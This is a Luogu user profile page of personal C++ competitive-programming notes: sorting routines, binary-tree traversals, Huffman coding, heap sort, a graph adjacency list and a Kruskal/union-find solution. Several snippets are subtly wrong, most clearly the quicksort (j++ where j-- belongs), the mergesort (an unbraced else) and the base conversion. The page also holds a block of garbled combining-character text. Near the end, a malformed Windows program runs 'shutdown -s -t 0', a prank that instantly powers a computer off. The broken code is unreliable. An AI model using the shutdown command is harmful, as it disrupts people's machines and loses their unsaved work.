跳到正文

zh2012

814750

但我坦然,欣然。我将大笑,我将歌唱。

在洛谷打开
资料、奖项与版本

资料

编号
814750
抓取
C++
ḑ̡̖̝͈̯̘͈̱̬̣̝ḑ̡̖̝͈̯̘͈̱̬̣̝ ด้้้้้็้้้็็็็็้้้้้็็็็็้้้้้้็็็็็้้้้้็็็็็้้้้้้็็็็็้้้้้็็็็็้้้้้้็็็็็้้้้้็็็็็้้้้้้็

haodongxi
浮点数保留小数输出
cout<<fixed<<setprecision(1);
万能头
#include<bits/stdc++.h>
手写sort快排
void qsort(int l,int r){
    if(l>=r)return ;
    int i=l,j=r;
    int x=a[(l+r)/2];   
    while(i<j){
        while(a[i]<x)i++;
        while(a[j]>x)j++;
        if(i<=j){t=a[i];a[i]=a[j];a[j]=t;i++;j--;}
}
    qsort(l,j);
    qsort(i,r);
}
归并
#include<bits/stdc++.h>
using namespace std;
int k,a[100005],b[100005],i,j,n;
void mergesort(int l,int r){
    if(l>=r)return ;
    int mid=(l+r)/2;
    mergesort(l,mid);
    mergesort(mid+1,r);
    i=l;j=mid+1;k=l-1;
    while(i<=mid&&j<=r){
        if(a[i]<=a[j]){
            k++;b[k]=a[i];i++;
        }
        else k++;b[k]=a[j];j++;
    }
    while(i<=mid){
        k++;b[k]=a[i];i++;
    }
    while(j<=r){
        k++;b[k]=a[j];j++;
    }
    for(int k=l;k<=r;k++)a[k]=b[k];
}
#include<bits/stdc++.h>
using namespace std;
int main(){
int n,m;//nbianmjinzhi;
cin>>n>>m;
int x=0;
int ch;
while(cin>>ch){
x=x*n;
if(x<'9')x+=ch-'0';
        else x+=ch-'a'+10;
cout<<x/m;
x%=m;
}
return 0;
}
#include<cstdio>
#include<cstdlib>
  struct btreeptr{
  char data;
  btreeptr *lc,*rc;
  }*root;
  void build(btreeptr *&root){
  char c;
  scanf("%c",&c);
  if(c=='.'){
  root=NULL;
  return;
  }
  root=new btreeptr;
  root->data=c;
  build(root->lc);
  build(root->rc);
  }
  void previsit(btreeptr *root){
  if(root==NULL)return ;
  printf("%c",root->data);
  previsit(root->lc);
  previsit(root->rc);
  }
  void invisit(btreeptr *root){
  if(root==NULL)return ;
  invisit(root->lc);
  printf("%c",root->data);
  invisit(root->rc);
  }
  void postvisit(btreeptr *root){
  if(root==NULL)return ;
  postvisit(root->lc);
  postvisit(root->rc);
  printf("%c",root->data);
  }
int main(){
  build(root);
  previsit(root);
  putchar('\n');
  invisit(root);
  putchar('\n');
  postvisit(root);
  putchar('\n');
  return 0;
  }
#include<bits/stdc++.h>
using namespace std;
struct btreeptr{
    char data;
    btreeptr *lc,*rc;
}*root;
btreeptr *q[101];
int head,tail;
int Max;
void build(btreeptr *&root,int x){
    char c;
    scanf("%c",&c);
    if(c=='.'){
        root=NULL;
        return;
    }
    root=new btreeptr;
    root->data=c;
    if(x+1>Max)Max=x+1;
    build(root->lc,x+1);
    build(root->rc,x+1);
}
int sd(btreeptr *root){
    if(root==NULL)return 0;
    return max(sd(root->lc),sd(root->rc))+1;
}
int yz(btreeptr *root){
    if(root==NULL)return 0;
    else if(root->lc==NULL&&root->rc==NULL)return 1;
    return yz(root->lc)+yz(root->rc);
}
int main(){
    build(root,0);
    int x=sd(root);
    int y=yz(root);
    cout<<x<<endl<<y<<endl;
    head=0;
    q[tail=1]=root;
    while(head<tail){
        btreeptr *t;
        t=q[++head];
        cout<<t->data;
        if(t->lc!=NULL)q[++tail]=t->lc;
        if(t->rc!=NULL)q[++tail]=t->rc;
    }
    return 0;
}

typedef long long int ll;
ll a;
  #include<bits/stdc++.h>
using namespace std;
const int N=27;
struct node{
    char data;
    int wt,lc,rc;
}a[N*2];
int n,h1,t1,h2,t2;
bool cmp(node x,node y){
    if(x.wt!=y.wt)return x.wt<y.wt;
    return 0;
}
int Find(){
    if(h1==t1)return ++h2;
    if(h2==t2)return ++h1;
    if(a[h1+1].wt<a[h2+1].wt)return ++h1;return ++h2;
}
void travel(int root,string code){
    if(a[root].lc==-1){
        cout<<a[root].data<<':'<<code<<endl;
        return ;
    }
    travel(a[root].lc,code+'0');
    travel(a[root].rc,code+'1');

}
int main(){
    int n;
    cin>>n;
    for(int i=1;i<=n;i++){
        cin>>a[i].data>>a[i].wt;
        a[i].lc=a[i].rc=-1;
    }
    sort(a+1,a+n+1,cmp);
    h1=0;t1=h2=t2=n;
    for(int i=n+1;i<2*n;i++){
        int p1=Find(),p2=Find();
        a[t2=i]=(node){' ',a[p1].wt+a[p2].wt,p1,p2};
    }
    travel(2*n-1,"");
    return 0;
}
/*
4
d 4
a 7
b 5
c 2
*/
#include<bits/stdc++.h>
using namespace std;
int a[100001];
void tz(int i,int n){
    while(i*2<=n){
        int t,j=i*2;
        if(j+1<=n&&a[j+1]<a[j])j++;
        if(a[j]<a[i])swap(a[i],a[j]);
        else break;
        i=j;
    }
}
//堆排序(小顶堆是从大到小排序,大顶堆反之)
int main(){
    int n;
    cin>>n;
    for(int i=1;i<=n;i++){
        cin>>a[i];
    }
    for(int i=n/2;i>=1;i--){
        tz(i,n);
    }
    for(int i=n;i>=1;i--){
        swap(a[i],a[1]);
        tz(1,i-1);
    }
    for(int i=1;i<=n;i++)cout<<a[i]<<' ';

    return 0;
}
/*
10
4 1 2 7 3 5 8 10 9 6
*/
//无向图
#include<bits/stdc++.h>
using namespace std;
int n,m;
const int M=100001,N=20001;
struct edgenode{
    int num;
    int next;
};
edgenode e[M];
int g[N];
int avail=0;
void ins(int x,int y){
    avail++;
    e[avail].num=y;
    e[avail].next=g[x];
    g[x]=avail;
}
void out(int x){
    cout<<x<<' ';
    int j=g[x];
    while(j!=-1){
        cout<<e[j].num<<' ';
        j=e[j].next;
    }
    cout<<endl;
}
int main(){
    cin>>n>>m;
    for(int i=1;i<=n;i++)g[i]=-1;
    for(int i=1;i<=m;i++){
        int x,y;
        float w;
        cin>>x>>y;
        ins(x,y);
        ins(y,x);
    }
    for(int i=1;i<=n;i++)out(i);
}
                           
binchaji                   
#include<bits/stdc++.h>
using namespace std;
const int N=10001,M=200001;
struct bian{
	int x,y;
	int w;
}a[M];
int fa[N],ans[M],en,q;
bool cmp(bian a,bian b){
	return a.w<b.w;
}
int findfa(int x){
	if(fa[x]==x)return x;
	return fa[x]=findfa(fa[x]);
}
int main(){
    int n,m;
    cin>>n>>m;
    for(int i=1;i<=m;i++){
    	cin>>a[i].x>>a[i].y>>a[i].w;
    }
    sort(a+1,a+m+1,cmp);
    for(int i=1;i<=n;i++){
    	fa[i]=i;
    }
    for(int i=1;i<=m;i++){
    	if(en==n-1)break;
    	int x,y,x1,y1;
    	x=a[i].x;
		y=a[i].y;
		x1=findfa(x);
		y1=findfa(y);
		if(x1!=y1){
			ans[++en]=i;
			q+=a[i].w;
			fa[x1]=y1;
		}
    }
    if(en<n-1)cout<<"orz";
    else cout<<q;
    return 0;
}


2024.8.5提交600
                              
2024.12.07首绿
                 

#include<windows.h>
  
using namespace std;
  
int main()
  
    system("shutdown -s -t 0");
  
  return 0;
  
}


还没有收录这位用户的文章。